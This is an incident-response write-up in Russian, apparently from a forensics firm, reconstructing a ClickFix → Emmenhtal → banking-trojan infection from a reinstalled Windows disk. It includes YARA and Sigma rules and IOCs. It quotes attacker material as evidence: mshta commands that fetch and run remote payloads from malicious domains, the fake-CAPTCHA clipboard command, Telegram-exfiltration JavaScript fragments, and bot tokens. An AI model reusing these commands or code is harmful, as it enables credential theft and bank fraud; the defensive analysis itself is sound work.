Реальный кейс: ClickFix → Emmenhtal → банковский троян → Telegram C2. 23 бот-токена, веб-инжекты Bank of America, SMS-граббер — и всё это найдено после переустановки Windows.
Вступление
В конце февраля 2026 года к нам обратилась организация с подозрением на компрометацию рабочей станции бухгалтера. Сценарий знакомый: на экране появился фейковый экран «Обновление Windows», а параллельно в интернет-банке проводились несанкционированные операции.
Но был нюанс, превративший рядовой IR-кейс в форензик-археологию:
Администратор переустановил Windows до снятия forensic-образа. Затем пользователь в тот же день зашла в 8 банковских систем с теми же учётными данными.
Мы получили клон диска (1 ТБ ADATA SE880, NTFS, 930 ГБ данных) через несколько дней. На руках — свежая Windows с чистыми журналами событий и пустой историей браузера. Тело вируса стёрто. Реестр перезаписан. RAM-дамп не снимали. Классический worst-case для IR-команды.
Итого: ~90% доказательств уничтожено.
Вот что нам удалось восстановить из оставшихся 10%.
Содержание
1. Что у нас было (и чего не было)
Начнём с инвентаризации доказательной базы:
Источник |
Статус |
Восстановимость |
|---|---|---|
Реестр Windows (HKLM, NTUSER.DAT) |
Уничтожен |
Невозможно |
EVTX-журналы (Security, System, PS) |
Уничтожены |
Невозможно — только пост-переустановка |
Тело вируса (EXE/DLL/JS) |
Уничтожено |
Частично — строки в свободных секторах |
Конфигурация вируса |
Уничтожена |
Частично — webinjects.cbw, Telegram-токены |
История браузера |
Уничтожена |
Только пост-переустановка (24-25 февраля) |
RAM (pagefile.sys) |
Перезаписан |
Чист — новая ОС |
Hiberfil.sys |
Перезаписан |
Фрагменты старых данных в нижних слоях |
Свободные сектора диска |
Сохранены |
Наш основной источник |
MFT новой ОС |
Доступен |
Хронология переустановки |
Shimcache / Amcache |
Доступны |
Только пост-переустановка |
AnyDesk traces |
Доступны |
Session count: 0 (никто не подключался) |
Свободные сектора — это области диска, которые были заняты файлами старой ОС, но после переустановки помечены как свободные. Данные в них физически не перезаписаны, пока новые файлы не займут эти сектора. На SSD с wear-leveling ситуация сложнее (TRIM может обнулить данные), но в нашем случае большая часть секторов сохранилась.
Хронология переустановки
Из MFT и EVTX новой ОС мы восстановили точную хронологию:
24.02.2026: 15:49 MSK — NTFS отформатирован, Windows переустановлена 16:00-16:05 — OOBE, создание профиля 17:26 — Запуск WPI-набора BELOFF с USB (пиратский установщик) 17:39 — Установка пиратского Office 2021 17:40 — MAS (пиратская активация через PowerShell) 17:45 — Установка AnyDesk 6.0.8 (версия 2021 года, 5+ лет устарела) 17:49 — Подключение к домену 17:54-17:55 — Установка Radmin Server 3.5.2 (8+ лет устарел) 18:53-19:07 — Установка Taxcom, Kontur, CryptoPro (бухгалтерские системы) 21:19-21:22 — ВХОД В АЛЬФА-БАНК Бизнес Онлайн 25.02.2026: 09:03-09:06 — ВХОД В РАЙФФАЙЗЕН Бизнес Онлайн 11:33 — Повторный вход в Райффайзен 13:05 — Вход в Альфа-Банк
Пользователь зашла в банковские системы через 5 часов после переустановки. С теми же учётными данными, на той же машине. Без смены паролей.
2. Методология: IOC-hunting в 930 ГБ сырого диска
Основная идея
При форматировании NTFS и переустановке Windows диск не обнуляется. Новые NTFS-структуры перезаписывают MFT и системные файлы, но подавляющее большинство секторов сохраняет данные предыдущей установки — пока они не будут постепенно заняты новыми файлами.
Наш подход: полнодисковое извлечение строк + паттерн-матчинг по 12 категориям IOC.
Техническая реализация
Прямой доступ к raw-устройству (read-only монтирование):
# Извлечение ASCII-строк (длина >= 10 символов) из сырого диска strings -t d -n 10 /dev/rdisk2s3 > /tmp/raw_strings.txt # Параллельный поиск по категориям IOC grep -iE 'telegram.org/bot|sendmessage|chat_id=' /tmp/raw_strings.txt > telegram.txt grep -iE 'mshta.*http|mshta.*javascript|mshta.*vbscript' /tmp/raw_strings.txt > mshta.txt grep -iE 'webinject|formgrab|keylog|mimikatz' /tmp/raw_strings.txt > banking.txt grep -iE 'ngrok' /tmp/raw_strings.txt > ngrok.txt grep -iE 'AU3!EA06' /tmp/raw_strings.txt > autoit.txt
Для каждого совпадения мы фиксировали смещение на диске (байтовый offset от начала тома). Это критически важно — смещение позволяет определить, из какой области диска пришла строка: из свободных секторов (уничтоженная ОС) или из активных файлов (текущая ОС).
Результаты первого прохода
Категория |
Паттерн |
Совпадений |
|---|---|---|
Telegram Bot API |
|
262 строки |
mshta-команды |
|
61 строка |
Malware-семейства |
|
1791 строка |
Банковские артефакты |
|
65 строк |
AutoIt-маркеры |
|
10+ вхождений |
ngrok |
|
40+ строк |
1791 совпадение по malware-семействам выглядит впечатляюще. На первый взгляд — машина заражена половиной известных вредоносных семейств. Но тут начинается самая интересная часть.
3. Проблема ложноположительных: VDM-дисамбигуация
Почему 95.9% совпадений — это не малварь
Из 1791 совпадения мы увидели строки вроде:
!ClickFix.DEC AgentTesla.PRTT!MTB !FormBook.AGEx !LummaStealer.AAPT SnakeKeylogger.RDA !#TEL:Trojan:Win32/Buhtrap.GHM!MTB
Знакомый формат? Это имена сигнатур Windows Defender.
Windows Defender хранит свои антивирусные определения в VDM-файлах (mpasbase.vdm, mpavbase.vdm и их дельты/бэкапы) — это бинарные базы объёмом ~400 МБ. Внутри — строковые имена всех известных Defender’у вредоносных семейств.
Когда вы ищете строку ClickFix на сыром диске — вы неизбежно найдёте сотни совпадений внутри VDM-баз, которые никакого отношения к реальному заражению не имеют.
Методика разделения
Локализация VDM. На диске нашлись 12 VDM-файлов:
ProgramData/Microsoft/Windows Defender/Definition Updates/ {84DD86D6-...}/mpasbase.vdm (132 МБ) {84DD86D6-...}/mpavbase.vdm (68 МБ) {84DD86D6-...}/mpasdlta.vdm (1.4 МБ) {84DD86D6-...}/mpavdlta.vdm (1.7 МБ) Backup/ (~200 МБ) Default/ (~200 МБ)
Определение дискового смещения. Все VDM-файлы расположены в NTFS-области, соответствующей смещению ~25 ГБ от начала тома.
Фильтрация. Каждая строка из raw-скана содержит метку смещения. Все записи со смещением ~25 ГБ — VDM-сигнатуры.
Результат
Категория |
Количество |
% |
|---|---|---|
Всего совпадений |
1791 |
100% |
VDM-сигнатуры (область 25 ГБ) |
1717 |
95.9% |
Реальные артефакты (другие смещения) |
74 |
4.1% |
Из 74 “реальных” записей подавляющее большинство оказались ложноположительными совпадениями с легитимным кодом:
Строка |
Реальный источник |
|---|---|
|
CSS-класс в минифицированном JavaScript |
|
Переменная .NET |
|
Флаг фичи Windows |
|
Метод Chromium |
|
WMI-сервис Windows |
|
Имя правила детекции Defender |
Урок для IR-практиков: при сканировании raw-диска на строки malware-семейств всегда вычитайте содержимое VDM/сигнатурных баз. Без этого шага ваш IOC-лист будет завышен на порядок.
Реальные IOC трояна (webinjects.cbw, Telegram-токены, mshta-команды, JavaScript-код эксфильтрации) были подтверждены из других категорий — через контекстуальный анализ JavaScript-кода, API-вызовов и URL-команд, которые не могут быть частью VDM.
4. Telegram-токены: от 262 строк к 23 реальным ботам
Проблема ложноположительных (часть 2)
Паттерн Telegram Bot Token ([0-9]{8,10}:[A-Za-z0-9_-]{10,}) матчит далеко не только ботов. Из 262 строк и 53 уникальных кандидатов, 30 оказались мусором:
“Токен” |
Реальный источник |
|---|---|
|
Yandex Metrika |
|
JavaScript |
|
ASCII charset test |
|
Mail.ru CSRF-токен |
|
Бинарные данные (JPEG-заголовки) |
Результат фильтрации
23 реальных Telegram-бота (9 полных токенов + 14 фрагментов). Ключевой критерий реальности — JavaScript-контекст:
// Вариант 1: прямое присвоение var telegram_bot_id = "7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom"; // Вариант 2: API-вызов с chat_id telegram.org/bot6989057172:aaflrv_iwsmb1-cc64puz7ki_jyka8br2fu/sendmessage?chat_id=6481270908 // Вариант 3: const + apikey const apikey = '7200176830:aaeb5kv-ejhpbl37awux97bef6suf3c7qq4'; // Вариант 4: var + token var token = '5450319009:aaga-8muwnpx4nwjvdosgenwwfdmjk4zw1k'; // Вариант 5: let + обфусцированное имя let yxz = '6158050829:aafcxihqt0ymqlkj2trnjrrcoicdxashoay';
Разнообразие паттернов (var/const/let, разные имена переменных — telegram_bot_id, apikey, token, yxz) и количество токенов (23) указывают на MaaS-модель с множественными операторами или ротацией ботов между кампаниями.
Верификация через API
Все 9 полных токенов проверены:
curl -s "https://api.telegram.org/bot7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom/getMe" # {"ok":false,"error_code":401,"description":"Unauthorized"}
Результат для всех 9: 401 Unauthorized — боты удалены или отозваны к моменту анализа.
Полный список полных токенов
# |
Bot ID |
Token |
Контекст |
|---|---|---|---|
1 |
7217369886 |
|
|
2 |
6989057172 |
|
sendmessage + chat_id |
3 |
5450319009 |
|
|
4 |
7108437914 |
|
standalone |
5 |
7200176830 |
|
|
6 |
6158050829 |
|
|
7 |
7150547715 |
|
|
8 |
7210144457 |
|
|
9 |
8210503521 |
|
|
Chat ID получателя: 6481270908 — единственный chat_id, обнаруженный в API-вызовах. Это аккаунт злоумышленника, куда стекались все украденные данные.
5. Hiberfil.sys: подтверждение исполнения в RAM
Зачем анализировать hiberfil.sys
hiberfil.sys — файл гибернации Windows, по сути дамп оперативной памяти, записываемый при переходе в режим гибернации. Хотя файл был перезаписан новой ОС (дата модификации — 25.02.2026, 13:09), в нижних слоях диска (свободные сектора в месте хранения старого hiberfil.sys) могли сохраниться фрагменты данных из периода до переустановки.
Файл весит 64 ГБ. Мы не пытались парсить его структуру (заголовок уже от новой ОС), а использовали поиск строк:
strings -t d -n 10 /Volumes/Untitled/hiberfil.sys | grep -iE 'telegram|sendmessage|bot[0-9]{7}' > /tmp/hiberfil_telegram.txt strings -t d -n 10 /Volumes/Untitled/hiberfil.sys | grep -iE 'mshta|klipjaqemiu|codebizz|refinim' > /tmp/hiberfil_mshta.txt strings -t d -n 10 /Volumes/Untitled/hiberfil.sys | grep -iE 'webinject|formgrab|keylog|mimikatz' > /tmp/hiberfil_banking.txt
Критические находки
5.1 Telegram-токены — подтверждены в RAM
Те же токены, что и на raw-диске, обнаружены в hiberfil.sys:
bot6989057172:aaflrv_iwsmb1-cc64puz7ki_jyka8br2fu/sendmessage?chat_id=6481270908 var telegram_bot_id="7217369886:aahksjqmqu-fbptb1uxrhdjecc9gwlz6dom" var token='5450319009:aaga-8muwnpx4nwjvdosgenwwfdmjk4zw1k' const apikey='7200176830:aaeb5kv-ejhpbl37awux97bef6suf3c7qq4'
Значимость: Если данные найдены в hiberfil.sys — значит вредоносное ПО было загружено в оперативную память и активно функционировало. Это не просто файл на диске — это работающий процесс.
5.2 JavaScript-код эксфильтрации — восстановлен
Из hiberfil.sys удалось извлечь фрагменты кода трояна:
// Код отправки данных fetch(telegramurl, { method: 'post', headers: {'content-type': 'application/json'}, body: ... }); // Подтверждение отправки if (response.ok) { alert('data sent to telegram?...') } // XHR-запрос к подозрительному домену var xhr = new XMLHttpRequest(); xhr.open("get", "//lurgee.stream/?mrqkckdvdd_" + win...
5.3 Base64-encoded webinject — Bank of America
В hiberfil.sys обнаружена Base64-строка:
dGl0bGU+QmFuayBvZiBBbWVyaWNhIHwgT25saW5lIEJhbmtpbmcgfCBWZXJpZmljYXRpb24gUGFnZTwvP
Декодирование:
<title>Bank of America | Online Banking | Verification Page</title>
Фишинговая страница Bank of America, внедряемая через webinjects. Это доказывает, что троян содержал инжекты не только для российских, но и для международных банков.
5.4 Модульная структура трояна
Из hiberfil.sys восстановлена структура модулей:
Находка |
Значение |
|---|---|
|
Архитектура модулей: бот-связь, кейлоггер, скриншоты, C2 |
|
SMS-граббер — перехват SMS для обхода 2FA |
|
DPAPI-кейлоггер для перехвата Windows credentials |
|
Скрытый кейлоггер со записью экрана |
|
Бесшумный режим кейлоггера |
|
Сбор данных из Telegram-приложения пользователя |
|
PDB debug-путь формграббера |
5.5 Новые домены
Домен |
Контекст |
|---|---|
|
URL конфигурации webinjects (.cbw файл) |
|
XHR GET-запрос из кода трояна |
5.6 Ngrok — доставка .dotm
://816e-182-227-90-53.ngrok.io/open.dotm
Формат .dotm — Microsoft Word Template с макросами. Ngrok-туннель использовался не только как C2, но и для доставки вредоносных документов.
Почему hiberfil.sys важнее raw-диска
В отличие от raw-диска, hiberfil.sys не содержит VDM-баз Defender. Все совпадения в hiberfil.sys — это строки, которые были в оперативной памяти. Обнаружение тех же IOC в двух независимых источниках (свободные сектора диска + hiberfil.sys) подтверждает их подлинность.
6. Kill Chain: ClickFix → Emmenhtal → Banking Trojan
На основании всех восстановленных артефактов мы реконструировали полную цепочку атаки:
СТАДИЯ 0: СОЦИАЛЬНАЯ ИНЖЕНЕРИЯ — ClickFix │ │ Жертва попадает на страницу с фейковой CAPTCHA │ (life-captcha.*, Dropbox-лура с украинской тематикой) │ │ JavaScript verify() копирует команду в буфер обмена: │ mshta https://klipjaqemiu.shop/web44.mp4 │ │ Инструкция: "Нажмите Win+R → Ctrl+V → Enter" │ ▼ СТАДИЯ 1: MSHTA.EXE — Загрузка polyglot │ │ mshta.exe загружает файл web44.mp4 │ .mp4 = polyglot (легитимный PE-заголовок + HTA-код в конце) │ mshta парсит HTA-часть: <hta:application id="ohta"> │ Выполняет встроенный JavaScript │ ▼ СТАДИЯ 2: JAVASCRIPT → POWERSHELL — Деобфускация │ │ String.fromCharCode() + eval() → PowerShell-скрипт │ Execution Policy → Bypass / Unrestricted │ -WindowStyle Hidden (невидимое окно) │ ▼ СТАДИЯ 3: AES + REFLECTION — Fileless-загрузка │ │ PowerShell: │ 1. AES-дешифрование второй стадии (~10 МБ обфускации) │ 2. Bypass AMSI через модификацию CLR DLL в памяти │ 3. Отключение trace-логов (anti-forensics) │ 4. [System.Reflection.Assembly]::Load() — загрузка .NET в память │ │ Результат: payload работает полностью в RAM, без записи на диск │ ▼ СТАДИЯ 4: БАНКОВСКИЙ ТРОЯН — Активная фаза │ │ ┌── Webinjects (webinjects.cbw) │ │ Подмена содержимого банковских страниц │ │ Включая Bank of America (международные инжекты) │ │ │ ├── Formgrabber (insertFormGrabberKit.pdb) │ │ Перехват данных из HTML-форм │ │ │ ├── Keylogger + Screen Recording │ │ tasks.media.screenrecord/app/hidden/keylogger │ │ HOMEKEYLOGGER_MUTE — бесшумный режим │ │ DPAPICredKeyLogg — перехват Windows credentials │ │ │ ├── SMS Grabber │ │ Перехват SMS для обхода 2FA │ │ │ ├── Mimikatz (reflective) │ │ Извлечение паролей из памяти Windows │ │ Рефлективная загрузка (без записи mimikatz.exe на диск) │ │ │ ├── Telegram Data Theft │ │ "Collecting Telegram data (main thread)" │ │ │ └── Fake "Windows Update" Screen │ Блокировка экрана при проведении операций в банке │ ▼ СТАДИЯ 5: ЭКСФИЛЬТРАЦИЯ │ │ Канал 1: Telegram Bot API │ → 23 бота → Chat ID 6481270908 │ → fetch(telegramurl, {method:'post'}) │ → /sendMessage, /sendDocument │ │ Канал 2: Ngrok C2 │ → 816e-182-227-90-53.ngrok.io │ → Доставка .dotm (Word-макросы) │ → IP: 182.227.90.53 (Сеул, Ю.Корея) │ │ Канал 3: HTTP exfiltration │ → marathon.teachmemoney.net (webinject config) │ → lurgee.stream (XHR GET) │ → /eme/03/index.php (FormGrabberKit endpoint)
Восстановленные mshta-команды
Из raw-диска извлечено 40+ уникальных mshta-команд. Вот ключевые:
# 1. ClickFix → Emmenhtal verify(){const texttocopy=`mshta https://klipjaqemiu.shop/web44.mp4` # 2. Обфускация через .insert() -c 'mshta'.insert(5,'https://codebizz.com/7896745657879090.mp4') # 3. Фейковый Zoho WorkDrive + substring() mshta https://awakka-aws3.zoho-documents.com/hekko.mp4 # 4. PowerShell → mshta powershell -windowstyle hidden -command mshta https://ezstat.ru/ # 5. VBScript dropper mshta vbscript:createobject("wscript.shell").run "powershell -..." # 6. CMD → mshta → JavaScript c:\windows\system32\cmd.exe /c mshta "javascript:var _$_..." # 7. Фейковая CAPTCHA mshta.exe https://life-captcha... # 8. Российский хостинг system32\mshta.exe http://a0716572.xsph.ru/ques # 9. HTA payload -noprofile -command "mshta https://refinim.site/ruzirious"
Разнообразие техник обфускации (.insert(), .substring(), javascript:, vbscript:, PowerShell relay, CMD wrapper) говорит о промышленном подходе к доставке — это не одиночный скрипт, а инструментарий с множественными вариантами доставки.
AutoIt-компонент
На диске обнаружены маркеры скомпилированных AutoIt-скриптов (AU3!EA06) на 6 разных смещениях (0, 25, 51, 71, 75, 84 ГБ). AutoIt широко используется в банковских троянах Buhtrap/RTM для автоматизации действий в интернет-банке.
7. OSINT и атрибуция
Emmenhtal Loader: профиль
Параметр |
Значение |
|---|---|
Семейство |
Emmenhtal (aka PEAKLIGHT, IDATDropper) |
Впервые обнаружен |
Февраль 2024 |
Раскрыт публично |
Август 2024 (Orange Cyberdefense + Mandiant) |
Модель |
MaaS (Malware-as-a-Service) |
SHA256 нашего образца |
|
MD5 |
|
URL доставки |
|
Вердикт ANY.RUN |
MALICIOUS |
ThreatFox |
380 sightings |
Доставляемые семейства |
Lumma, CryptBot, Amadey, SmokeLoader, DarkGate, Remcos + 10 других |
Инфраструктура |
100+ WebDAV-серверов (Sekoia.io), ASN: Terasyst, Zonata, BL Networks |
Кластер доменов
Паттерн klip*.shop, регистрация Namecheap, Cloudflare NS, Исландия:
Домен |
Файл |
SHA256 |
|---|---|---|
|
web44.mp4 |
|
|
web.png (2-я стадия) |
— |
|
web44.dle |
|
|
kongo.mp4 |
|
|
web44.mp4 |
|
OSINT по доменам из инцидента
Домен |
Статус |
Роль |
|---|---|---|
|
MALICIOUS (ANY.RUN, ThreatFox) |
Emmenhtal payload host |
|
Заблокирован GoDaddy (clientDeleteProhibited) |
Фейковый .mp4 |
|
Trust Score 1/100, blacklisted |
IP-трекер (сеть iplogger.org) |
|
Подозрительный |
HTA payload via mshta |
|
Тайпосквоттинг Zoho |
Фейковый WorkDrive |
|
Подозрительный |
VBScript dropper |
|
Подозрительный |
Webinject config (.cbw) |
|
Подозрительный |
XHR exfiltration endpoint |
IP-адреса
IP |
Геолокация |
ISP |
Роль |
OSINT |
|---|---|---|---|---|
182.227.90.53 |
Сеул, Ю.Корея |
LG POWERCOMM, AS17858 |
Ngrok C2-туннель |
Резидентный, скомпрометированное устройство |
188.114.96.3 |
Cloudflare |
AS13335 |
Proxy klipjaqemiu.shop |
801 abuse-отчёт на AbuseIPDB |
185.215.113.43 |
— |
— |
Amadey C2 |
Cisco Talos |
88.151.192.165 |
— |
— |
SmokeLoader C2 |
G-Data |
Атрибуция
Группировка |
Совпадение |
Характеристики |
|---|---|---|
CoralRaider (Вьетнам) |
ВЫСОКОЕ |
Cisco Talos атрибуция Emmenhtal, LNK→mshta→HTA→PS цепочка |
Emmenhtal / PeakLight |
ПОДТВЕРЖДЕНО |
Домен, SHA256, ThreatFox |
ClickFix |
ВЫСОКОЕ |
Метод #1 initial access 2025 (47% атак по Microsoft) |
Buhtrap / RTM (наследники) |
СРЕДНЕЕ |
Те же TTP (бухгалтеры РФ, веб-инжекты, AutoIt) |
Аналогичные кампании против российских финансистов (2025-2026)
Кампания |
Период |
Малварь |
C2 |
|---|---|---|---|
MoneyMount-ISO / Phantom Stealer |
июнь-сентябрь 2025 |
Custom stealer |
Telegram |
Amnesia RAT + Hakuna Matata |
январь 2026 |
RAT + ransomware |
Telegram |
DupeHike / DUPERUNNER (UNG0902) |
ноябрь 2025+ |
C++ implant |
AdaptixC2 |
Наш инцидент |
февраль 2026 |
Banking trojan |
Telegram |
8. Правила детекции: YARA и Sigma
Мы публикуем 10 YARA-правил и 10 Sigma-правил для детекции наблюдаемой цепочки атаки.
YARA-правила
1. Emmenhtal Polyglot (.mp4 + HTA)
rule Emmenhtal_Polyglot_MP4_HTA { meta: description = "Emmenhtal polyglot: PE header + embedded HTA + PowerShell" author = "IDEANIX LLC" date = "2026-03-14" hash = "4864E60175EC2FB6F2724C0830C3BF09C043D327C5824E77C8C2A8B2E077FDCF" mitre_attack = "T1218.005" strings: $mz = "MZ" at 0 $hta1 = "<hta:application" ascii nocase $hta2 = "hta:application id=" ascii nocase $ps1 = "powershell" ascii nocase $ps2 = "Reflection.Assembly" ascii nocase $fromchar = "String.fromCharCode" ascii condition: $mz and filesize > 100KB and (1 of ($hta*)) and (1 of ($ps*) or $fromchar) }
2. Telegram Bot JS Exfiltration
rule Telegram_Bot_JS_Exfiltration { meta: description = "JavaScript exfiltrating data via Telegram Bot API" author = "IDEANIX LLC" mitre_attack = "T1567" strings: $api1 = "api.telegram.org/bot" ascii nocase $api2 = "telegram.org/bot" ascii nocase $send1 = "/sendMessage" ascii nocase $send2 = "/sendDocument" ascii nocase $send3 = "chat_id=" ascii $token = /[0-9]{8,10}:AA[A-Za-z0-9_\-]{30,}/ ascii $js1 = "var telegram_bot_id" ascii nocase $js2 = "const apikey" ascii nocase $fetch = "fetch(" ascii condition: (1 of ($api*) and 1 of ($send*)) or ($token and 1 of ($js*)) or ($token and $fetch and $send3) }
3. Banking Trojan Webinjects (.cbw)
rule Banking_Trojan_Webinjects_CBW { meta: description = "Banking trojan webinject configuration (.cbw format)" author = "IDEANIX LLC" mitre_attack = "T1185" strings: $cbw1 = "webinjects.cbw" ascii nocase $cbw2 = "webinject.log" ascii nocase $grab1 = "formgrabber" ascii nocase $grab2 = "formgrab" ascii nocase $inject1 = "data_inject" ascii nocase $inject2 = "data_before" ascii nocase $inject3 = "data_after" ascii nocase condition: (1 of ($cbw*) and 1 of ($grab*)) or (3 of ($inject*)) }
4. ClickFix Fake CAPTCHA
rule ClickFix_Fake_Captcha { meta: description = "ClickFix social engineering: fake CAPTCHA + clipboard injection" author = "IDEANIX LLC" mitre_attack = "T1204.001" strings: $verify = "verify()" ascii nocase $captcha1 = "life-captcha" ascii nocase $captcha2 = "i am not a robot" ascii nocase $captcha3 = "press Win+R" ascii nocase $clip1 = "texttocopy" ascii nocase $clip2 = "navigator.clipboard" ascii nocase $clip3 = "execCommand('copy')" ascii nocase $mshta = "mshta" ascii nocase $ps = "powershell" ascii nocase condition: (1 of ($captcha*) or $verify) and (1 of ($clip*)) and ($mshta or $ps) }
Sigma-правила
1. Mshta + .shop (Emmenhtal delivery)
title: Mshta Execution with .shop Domain id: a1b2c3d4-e5f6-7890-abcd-ef1234567890 status: experimental description: mshta.exe loading from .shop TLD — Emmenhtal loader author: IDEANIX LLC tags: - attack.t1218.005 logsource: category: process_creation product: windows detection: selection_mshta: Image|endswith: '\mshta.exe' selection_shop: CommandLine|contains: '.shop' condition: selection_mshta and selection_shop level: critical
2. PowerShell Reflection + AES (fileless .NET)
title: PowerShell Reflection Assembly with AES id: b2c3d4e5-f6a7-8901-bcde-f12345678901 status: experimental description: Fileless .NET loading with AES — Emmenhtal signature author: IDEANIX LLC tags: - attack.t1059.001 - attack.t1620 logsource: category: process_creation product: windows detection: selection_ps: Image|endswith: - '\powershell.exe' - '\pwsh.exe' selection_reflection: CommandLine|contains: - 'Reflection.Assembly' - 'Assembly::Load' selection_crypto: CommandLine|contains: - 'AesCryptoServiceProvider' - 'RijndaelManaged' condition: selection_ps and selection_reflection and selection_crypto level: critical
3. Telegram Bot API от не-браузера
title: Telegram Bot API from Non-Browser Process id: c3d4e5f6-a7b8-9012-cdef-123456789012 status: experimental description: Non-browser Telegram Bot API traffic — data exfiltration author: IDEANIX LLC tags: - attack.t1567 logsource: category: proxy detection: selection_url: c-uri|contains: 'api.telegram.org/bot' filter_browsers: c-useragent|contains: - 'Mozilla' - 'Chrome' - 'Firefox' condition: selection_url and not filter_browsers level: high
4. AMSI Bypass в PowerShell
title: AMSI Bypass Attempt in PowerShell id: c9d0e1f2-a3b4-5678-cdef-789012345678 status: experimental description: Common AMSI bypass techniques used by Emmenhtal author: IDEANIX LLC tags: - attack.t1562 logsource: category: ps_script product: windows detection: selection: ScriptBlockText|contains: - 'AmsiUtils' - 'amsiInitFailed' - 'AmsiScanBuffer' - 'SetValue($null,$true)' condition: selection level: critical
Полные наборы правил (10 YARA + 10 Sigma) доступны в приложении.
9. IOC
Домены
Домен |
Роль |
Статус |
|---|---|---|
|
Emmenhtal payload host |
MALICIOUS |
|
2-я стадия payload |
MALICIOUS |
|
Связанный Emmenhtal домен |
MALICIOUS |
|
Связанный Emmenhtal домен |
MALICIOUS |
|
Связанный Emmenhtal домен |
MALICIOUS |
|
Доставка фейковых .mp4 |
Locked by registrar |
|
HTA payload delivery |
Suspicious |
|
Тайпосквоттинг Zoho |
Suspicious |
|
IP-трекер (iplogger.org) |
Trust Score 1/100 |
|
VBScript dropper |
Suspicious |
|
Webinject config server |
Suspicious |
|
XHR exfiltration |
Suspicious |
Хеши
Тип |
Хеш |
Файл |
|---|---|---|
SHA-256 |
|
klipjaqemiu.shop/web44.mp4 |
MD5 |
|
то же |
SHA-1 |
|
то же |
SHA-256 |
|
web44.mp4 (alt domain) |
SHA-256 |
|
savecoupons.store/web44.mp4 |
SHA-256 |
|
klipderiq.shop/sh |
SHA-256 |
|
klipderiq.shop/kongo.mp4 |
Сетевые индикаторы
IP |
Контекст |
|---|---|
|
Cloudflare proxy klipjaqemiu.shop (801 abuse-отчёт) |
|
IP за ngrok C2 (Сеул, LG POWERCOMM) |
|
Amadey C2 (Emmenhtal MaaS, Cisco Talos) |
|
SmokeLoader C2 (Emmenhtal MaaS, G-Data) |
Telegram
Тип |
Значение |
|---|---|
Chat ID (атакующий) |
|
Bot #1 |
|
Bot #2 |
|
Bot #3 (фрагмент) |
|
Bot #4 |
|
Bot #5 |
|
Bot #6 |
|
Bot #7 |
|
Bot #8 |
|
Bot #9 |
|
Bot #10 |
|
Ngrok
Индикатор |
Контекст |
|---|---|
|
C2 + доставка Word-макросов |
URL
URL |
Контекст |
|---|---|
|
Сервер FormGrabberKit |
|
Конфигурация webinjects |
10. Выводы и рекомендации
Что мы узнали
Переформатированный диск — не приговор. Из 930 ГБ свободных секторов мы восстановили 23 Telegram-бота, 40+ mshta-команд, веб-инжекты, JavaScript-код эксфильтрации, PDB-путь формграббера и модульную структуру трояна. Достаточно, чтобы реконструировать полную kill chain от initial access до exfiltration.
VDM-дисамбигуация — must-have. 95.9% совпадений по строкам malware-семейств были ложноположительными из баз Windows Defender. Без этого шага отчёт содержал бы тысячи фантомных IOC.
Hiberfil.sys — недооценённый источник. Даже после переустановки ОС фрагменты старого hiberfil.sys сохраняются в свободных секторах. Мы подтвердили активность трояна в RAM через анализ hiberfil.sys.
Telegram как C2 — новая норма. 23 бота в одном инциденте. По данным Bitsight, ~1800 Telegram-ботов обрабатывают 5 млн+ украденных лог-файлов. Encrypted transport + глобальная доступность + простой API = идеальный C2.
ClickFix + Emmenhtal — production-grade kill chain. ClickFix (фейковая CAPTCHA → clipboard → Win+R) + Emmenhtal (polyglot → AES → Reflection → fileless) — эта связка устойчива к большинству endpoint-защит. Метод #1 для initial access в 2025 (47% атак по Microsoft).
MaaS-модель усложняет атрибуцию. Emmenhtal продаётся как сервис. Ваш IOC — не конкретная APT-группа, а клиент MaaS-платформы, арендующий инфраструктуру для доставки своего payload.
Рекомендации для IR-команд
Никогда не переустанавливайте ОС до forensics. 30 минут на создание образа диска + дамп RAM дают на порядок больше доказательств.
При raw-скане всегда вычитайте VDM. Без дисамбигуации ваш IOC-лист будет содержать тысячи ложноположительных.
Не забывайте hiberfil.sys. Даже перезаписанный — его фрагменты могут подтвердить исполнение в RAM.
Фильтруйте Telegram-токены. Паттерн
[0-9]{10}:[A-Za-z0-9_-]{35}матчит Yandex banerid, JS-константы, CSRF-токены и бинарные данные.
Рекомендации для защитников
Заблокируйте mshta.exe через AppLocker/WDAC. Легитимное использование в 99% сред равно нулю.
Мониторьте Telegram Bot API на прокси/NGFW. Не-браузерные процессы, обращающиеся к
api.telegram.org— триггер для алерта.Включите PowerShell Script Block Logging и Constrained Language Mode. Это два самых эффективных контрола против PowerShell-стадии Emmenhtal.
Разверните Sysmon с правилами на цепочки процессов:
mshta → powershell → powershell.Сегментируйте банковские рабочие станции. Бухгалтер, работающий с 8 банками, не должен иметь доступ к произвольным сайтам.
Откажитесь от пиратского ПО на критичных станциях. WPI-наборы и пиратские активаторы — потенциальный вектор заражения и запускаются от SYSTEM.
MITRE ATT&CK Mapping
ID |
Техника |
Доказательство |
|---|---|---|
T1204.001 |
User Execution: Malicious Link |
ClickFix fake CAPTCHA |
T1218.005 |
Mshta |
40+ команд, основной вектор доставки |
T1059.001 |
PowerShell |
AES + Reflection + AMSI bypass |
T1059.005 |
VBScript |
|
T1059.007 |
JavaScript |
|
T1027 |
Obfuscated Files |
Base64, AES, polyglot PE+HTA |
T1036.008 |
Masquerading: File Extension |
.mp4 = PE+HTA polyglot |
T1620 |
Reflective Code Loading |
|
T1562.001 |
Impair Defenses |
AMSI bypass, trace disable |
T1056.001 |
Keylogging |
keylogger + screen recording |
T1056.002 |
GUI Input Capture |
formgrabber |
T1185 |
Browser Session Hijacking |
webinjects (Bank of America и др.) |
T1003 |
Credential Dumping |
Mimikatz (reflective) |
T1111 |
Multi-Factor Auth Interception |
SMS Grabber |
T1567 |
Exfil Over Web Service |
Telegram Bot API (23 бота) |
T1572 |
Protocol Tunneling |
ngrok C2 |
T1583.001 |
Acquire Infrastructure: Domains |
.shop домены, Namecheap |
S0508 |
ngrok |
Вторичный C2 + доставка .dotm |
Источники
VB2025 — Emmenhtal: Silent Enabler of Modern Malware Campaigns
Krebs on Security — ClickFix: How to Infect Your PC in Three Easy Steps
Данное исследование проведено в рамках авторизованного расследования инцидента ИБ. Все данные, идентифицирующие пострадавшую организацию, анонимизированы. Инфраструктура атакующих (домены, IP-адреса, Telegram-токены) опубликована намеренно для защиты сообщества.
IOC доступны в форматах STIX 2.1, CSV, YARA и Sigma для прямого импорта в SIEM/EDR.
IDEANIX LLC — Digital Forensics & Incident Response
vesper-bot
опять mshta. когда этот троян уже мелкомягкие выпилят наконец?
qvvah
